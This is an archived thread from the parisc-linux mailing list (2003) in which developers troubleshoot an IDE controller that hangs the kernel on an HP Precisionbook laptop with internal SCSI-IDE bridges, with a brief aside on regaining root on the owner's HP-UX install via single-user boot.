> From: Matthew Wilcox <willy@debian.org>
> To: M. Grabert <xam@cs.ucc.ie>
> Cc: Matthew Wilcox <willy@debian.org>, Gavin Hubbard <ghub005@xtra.co.nz>,
>      parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Re: Presicionbook success
>
> On Wed, Apr 16, 2003 at 02:36:25PM +0100, M. Grabert wrote:

[...]

> > The initialization of the CMD PCI0643 IDE controller fails when using
> > the ESIEE kernel (which has support built-in for this chip).
> > Something like "failed to get IRQ, will probe later".
>
> Oh, I thought you said the kernel hung when probing with this driver.
> If it just whines about being unable to do anything, that's no problem.

Maybe I was a little bit confusing to you:

1. Using a kernel with CMD IDE support, it will hang with the message
   "will probe IRQs later" ...
2. it will not hang if you pass a ide=nodma, but then it will show
   no devices
3. It will just boot fine without any CMD IDE support in the kernel

> > So no devices were found on the IDE bus, just on the LASI SCSI.
> > Probably it's the best just to use SCSI and not to use IDE support at all ...
>
> *nod*.  It might be fun for someone to play with fixing the IDE driver,
> but I don't think that's necessary.

;)


Slan, Max




From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 16:00:52 +0200
Lines: 159
Approved: news@gmane.org
Message-ID: <03Apr16.162029cest.119065@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C30420.9780EFA0"
X-Trace: ger.gmane.org 1416622391 24739 80.91.229.3 (22 Nov 2014 02:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:11 +0000 (UTC)
Cc: Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: "'M. Grabert'" <xam@cs.ucc.ie>, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 08:00:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D6894829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 08:00:58 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119065>; Wed, 16 Apr 2003 16:20:29 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18274

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C30420.9780EFA0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: M. Grabert [mailto:xam@cs.ucc.ie]
> Sent: woensdag 16 april 2003 15:36
> To: Matthew Wilcox
> Cc: Gavin Hubbard; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Re: Presicionbook success
> 
> 
> On Wed, 16 Apr 2003, Matthew Wilcox wrote:
> 
> > On Thu, Apr 17, 2003 at 01:15:31AM +1200, Gavin Hubbard wrote:
> > > Before anyone loses too much sleep over this, the 
> Precisionbook has
> > > internal SCSI-IDE bridges that sit between the HBA and 
> the drives. I
> > > believe a similar system was used in some of the earlier 
> Apple Powerbooks.
> >
> > Yep, someone pointed that out in an earlier email.  I'm 
> just trying to
> > figure out how to handle this for the best.
> >
> > 1) Provide a pci quirk that deletes the IDE device from the bus
> > 2) Hack the IDE driver to not claim that device if it's on 
> a PrecisionBook
> > 3) Ignore the scsi device and let the IDE driver drive the chips
> > 4) Er.. something else.
> 
> The initialization of the CMD PCI0643 IDE controller fails when using
> the ESIEE kernel (which has support built-in for this chip).
> Something like "failed to get IRQ, will probe later".
> 
> So no devices were found on the IDE bus, just on the LASI SCSI.
> Probably it's the best just to use SCSI and not to use IDE 
> support at all ...


Is this something like
http://www6.tomshardware.com/storage/20030130/index.html ? Then you
(electronically) cannot find any ide at all, its hidden behind the scsi
interface. If you see part of it, then best to try to handle it as good as
possible (try 'not at all' for a start). I think the 'will probe later' can
be canceled, triggered by a found scsi interface.

For what its worth, I think the IRQ is hooked to the scsi interface, not to
the processor.

btw, what does an `ioscan` from HP-UX report? I guess it only sees scsi.


CBee



------_=_NextPart_001_01C30420.9780EFA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Re: Presicionbook success</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: M. Grabert [<A =
HREF=3D"mailto:xam@cs.ucc.ie">mailto:xam@cs.ucc.ie</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: woensdag 16 april 2003 15:36</FONT>
<BR><FONT SIZE=3D2>&gt; To: Matthew Wilcox</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: Gavin Hubbard; =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [parisc-linux] Re: Presicionbook =
success</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Wed, 16 Apr 2003, Matthew Wilcox =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; On Thu, Apr 17, 2003 at 01:15:31AM +1200, =
Gavin Hubbard wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Before anyone loses too much sleep =
over this, the </FONT>
<BR><FONT SIZE=3D2>&gt; Precisionbook has</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; internal SCSI-IDE bridges that sit =
between the HBA and </FONT>
<BR><FONT SIZE=3D2>&gt; the drives. I</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; believe a similar system was used in =
some of the earlier </FONT>
<BR><FONT SIZE=3D2>&gt; Apple Powerbooks.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Yep, someone pointed that out in an =
earlier email.&nbsp; I'm </FONT>
<BR><FONT SIZE=3D2>&gt; just trying to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; figure out how to handle this for the =
best.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 1) Provide a pci quirk that deletes the =
IDE device from the bus</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 2) Hack the IDE driver to not claim that =
device if it's on </FONT>
<BR><FONT SIZE=3D2>&gt; a PrecisionBook</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 3) Ignore the scsi device and let the IDE =
driver drive the chips</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 4) Er.. something else.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The initialization of the CMD PCI0643 IDE =
controller fails when using</FONT>
<BR><FONT SIZE=3D2>&gt; the ESIEE kernel (which has support built-in =
for this chip).</FONT>
<BR><FONT SIZE=3D2>&gt; Something like &quot;failed to get IRQ, will =
probe later&quot;.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; So no devices were found on the IDE bus, just =
on the LASI SCSI.</FONT>
<BR><FONT SIZE=3D2>&gt; Probably it's the best just to use SCSI and not =
to use IDE </FONT>
<BR><FONT SIZE=3D2>&gt; support at all ...</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Is this something like <A =
HREF=3D"http://www6.tomshardware.com/storage/20030130/index.html" =
TARGET=3D"_blank">http://www6.tomshardware.com/storage/20030130/index.ht=
ml</A> ? Then you (electronically) cannot find any ide at all, its =
hidden behind the scsi interface. If you see part of it, then best to =
try to handle it as good as possible (try 'not at all' for a start). I =
think the 'will probe later' can be canceled, triggered by a found scsi =
interface.</FONT></P>

<P><FONT SIZE=3D2>For what its worth, I think the IRQ is hooked to the =
scsi interface, not to the processor.</FONT>
</P>

<P><FONT SIZE=3D2>btw, what does an `ioscan` from HP-UX report? I guess =
it only sees scsi.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C30420.9780EFA0--


From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 15:09:58 +0100 (IST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie>
References: <03Apr16.162029cest.119065@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416622392 24742 80.91.229.3 (22 Nov 2014 02:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:12 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	<parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 08:10:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78C224829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 08:10:05 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GE9x603375;
	Wed, 16 Apr 2003 15:09:59 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <03Apr16.162029cest.119065@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18275

On Wed, 16 Apr 2003, [iso-8859-1] "Beerse, Corn=E9" wrote:

> Is this something like
> http://www6.tomshardware.com/storage/20030130/index.html ? Then you
> (electronically) cannot find any ide at all, its hidden behind the scsi
> interface. If you see part of it, then best to try to handle it as good a=
s
> possible (try 'not at all' for a start). I think the 'will probe later' c=
an
> be canceled, triggered by a found scsi interface.

The hard disks are removeable, but there is no obvious IDE-SCSI bridge
visible. It is build-in inside the laptop (i.e. non-removeable), and it's
obviously visible from the OS (at least linux sees the IDE chip). Whether
you can make any sensible use of it is a different question though ...

> For what its worth, I think the IRQ is hooked to the scsi interface, not =
to
> the processor.

This would make sense.

> btw, what does an `ioscan` from HP-UX report? I guess it only sees scsi.

Good question, I don't have the HP-UX root password. The Precisionbook
comes with two 4GB hard disks, both with HP-UX installed, but I have to
ask for the password (or does anybody know how to easily gain root access?)=
,
which I haven't done yet.

Greetings, Max



From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 16:13:32 +0200
Lines: 149
Approved: news@gmane.org
Message-ID: <03Apr16.163312cest.119050@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C30422.5CC0E350"
X-Trace: ger.gmane.org 1416622392 24746 80.91.229.3 (22 Nov 2014 02:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:12 +0000 (UTC)
Cc: Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: "'M. Grabert'" <xam@cs.ucc.ie>, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 08:13:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FAED4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 08:13:48 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119050>; Wed, 16 Apr 2003 16:33:12 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18276

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C30422.5CC0E350
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: M. Grabert [mailto:xam@cs.ucc.ie]
> 
> On Wed, 16 Apr 2003, Matthew Wilcox wrote:
> 
> > Date: Wed, 16 Apr 2003 14:44:33 +0100
> >
> > On Wed, Apr 16, 2003 at 02:36:25PM +0100, M. Grabert wrote:
> 
> [...]
> 
> > > The initialization of the CMD PCI0643 IDE controller 
> fails when using
> > > the ESIEE kernel (which has support built-in for this chip).
> > > Something like "failed to get IRQ, will probe later".
> >
> > Oh, I thought you said the kernel hung when probing with 
> this driver.
> > If it just whines about being unable to do anything, that's 
> no problem.
> 
> Maybe I was a little bit confusing to you:
> 
> 1. Using a kernel with CMD IDE support, it will hang with the message
>    "will probe IRQs later" ...
> 2. it will not hang if you pass a ide=nodma, but then it will show
>    no devices
> 3. It will just boot fine without any CMD IDE support in the kernel
> 
> > > So no devices were found on the IDE bus, just on the LASI SCSI.
> > > Probably it's the best just to use SCSI and not to use IDE support at
all ...
> >
> > *nod*.  It might be fun for someone to play with fixing the IDE driver,
> > but I don't think that's necessary.

This gives me more and more the impression it is definitly some predecessor
of http://www6.tomshardware.com/storage/20030130/index.html

I think the ide interface is not perfectly hidden behind the scsi interface,
the cpu can still somehow recognize the ide interface. The ide interface
cannot do dma and irq since that is hooked to the scsi interface, not to the
cpu/memory. Hence, I think the best the ide driver can do is not to try
later but to be disabled at all. Btw, what happens if the ide says to try
later, is there a total system pause (resulting in a halt)? or does the
remainder of the system continue (and is it save to ignore)?


CBee

------_=_NextPart_001_01C30422.5CC0E350
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Re: Presicionbook success</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: M. Grabert [<A =
HREF=3D"mailto:xam@cs.ucc.ie">mailto:xam@cs.ucc.ie</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Wed, 16 Apr 2003, Matthew Wilcox =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Date: Wed, 16 Apr 2003 14:44:33 =
+0100</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; On Wed, Apr 16, 2003 at 02:36:25PM +0100, =
M. Grabert wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; [...]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The initialization of the CMD PCI0643 =
IDE controller </FONT>
<BR><FONT SIZE=3D2>&gt; fails when using</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; the ESIEE kernel (which has support =
built-in for this chip).</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Something like &quot;failed to get =
IRQ, will probe later&quot;.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Oh, I thought you said the kernel hung =
when probing with </FONT>
<BR><FONT SIZE=3D2>&gt; this driver.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; If it just whines about being unable to do =
anything, that's </FONT>
<BR><FONT SIZE=3D2>&gt; no problem.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Maybe I was a little bit confusing to =
you:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 1. Using a kernel with CMD IDE support, it will =
hang with the message</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; &quot;will probe IRQs =
later&quot; ...</FONT>
<BR><FONT SIZE=3D2>&gt; 2. it will not hang if you pass a ide=3Dnodma, =
but then it will show</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; no devices</FONT>
<BR><FONT SIZE=3D2>&gt; 3. It will just boot fine without any CMD IDE =
support in the kernel</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; So no devices were found on the IDE =
bus, just on the LASI SCSI.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Probably it's the best just to use =
SCSI and not to use IDE support at all ...</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; *nod*.&nbsp; It might be fun for someone =
to play with fixing the IDE driver,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; but I don't think that's necessary.</FONT>
</P>

<P><FONT SIZE=3D2>This gives me more and more the impression it is =
definitly some predecessor of <A =
HREF=3D"http://www6.tomshardware.com/storage/20030130/index.html" =
TARGET=3D"_blank">http://www6.tomshardware.com/storage/20030130/index.ht=
ml</A></FONT></P>

<P><FONT SIZE=3D2>I think the ide interface is not perfectly hidden =
behind the scsi interface, the cpu can still somehow recognize the ide =
interface. The ide interface cannot do dma and irq since that is hooked =
to the scsi interface, not to the cpu/memory. Hence, I think the best =
the ide driver can do is not to try later but to be disabled at all. =
Btw, what happens if the ide says to try later, is there a total system =
pause (resulting in a halt)? or does the remainder of the system =
continue (and is it save to ignore)?</FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C30422.5CC0E350--


From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 15:15:13 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030416141513.GQ30643@parcelfarce.linux.theplanet.co.uk>
References: <03Apr16.162029cest.119065@ns.hiscom.nl> <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622392 24748 80.91.229.3 (22 Nov 2014 02:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:12 +0000 (UTC)
Cc: =?iso-8859-1?B?IkJlZXJzZSwgQ29ybuki?= <c.beerse@torex-hiscom.nl>,
	Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 08:15:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B0CC488B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 08:15:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 195ngv-0008Lm-Ky; Wed, 16 Apr 2003 15:15:13 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18277

On Wed, Apr 16, 2003 at 03:09:58PM +0100, M. Grabert wrote:
> Good question, I don't have the HP-UX root password. The Precisionbook
> comes with two 4GB hard disks, both with HP-UX installed, but I have to
> ask for the password (or does anybody know how to easily gain root access?),
> which I haven't done yet.

Surely you can boot it, interact with IPL and add `single' as a parameter
to boot it in single-user mode?  Or does that ask for the pw too?

(I have to confess to never having used hpux in anger ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 15:18:23 +0100 (IST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161516240.28370-100000@sal.ucc.ie>
References: <03Apr16.163312cest.119050@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416622393 24751 80.91.229.3 (22 Nov 2014 02:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	<parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 08:18:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84E6A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 08:18:34 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GEIO603728;
	Wed, 16 Apr 2003 15:18:24 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <03Apr16.163312cest.119050@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18278

On Wed, 16 Apr 2003, [iso-8859-1] "Beerse, Corn=E9" wrote:

> This gives me more and more the impression it is definitly some predecess=
or
> of http://www6.tomshardware.com/storage/20030130/index.html
>
> I think the ide interface is not perfectly hidden behind the scsi interfa=
ce,
> the cpu can still somehow recognize the ide interface. The ide interface
> cannot do dma and irq since that is hooked to the scsi interface, not to =
the
> cpu/memory. Hence, I think the best the ide driver can do is not to try
> later but to be disabled at all. Btw, what happens if the ide says to try
> later, is there a total system pause (resulting in a halt)? or does the
> remainder of the system continue (and is it save to ignore)?

As stated in my earlier mails, it

- hangs (I waited for quite a while!)
- or continues (if ide=3Dnodma is used)

Slan, Max



From - Thu Nov 08 21:27:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 08:20:08 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200304160820.08734.bjorn_helgaas@hp.com>
References: <03Apr16.162029cest.119065@ns.hiscom.nl> <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie> <20030416141513.GQ30643@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
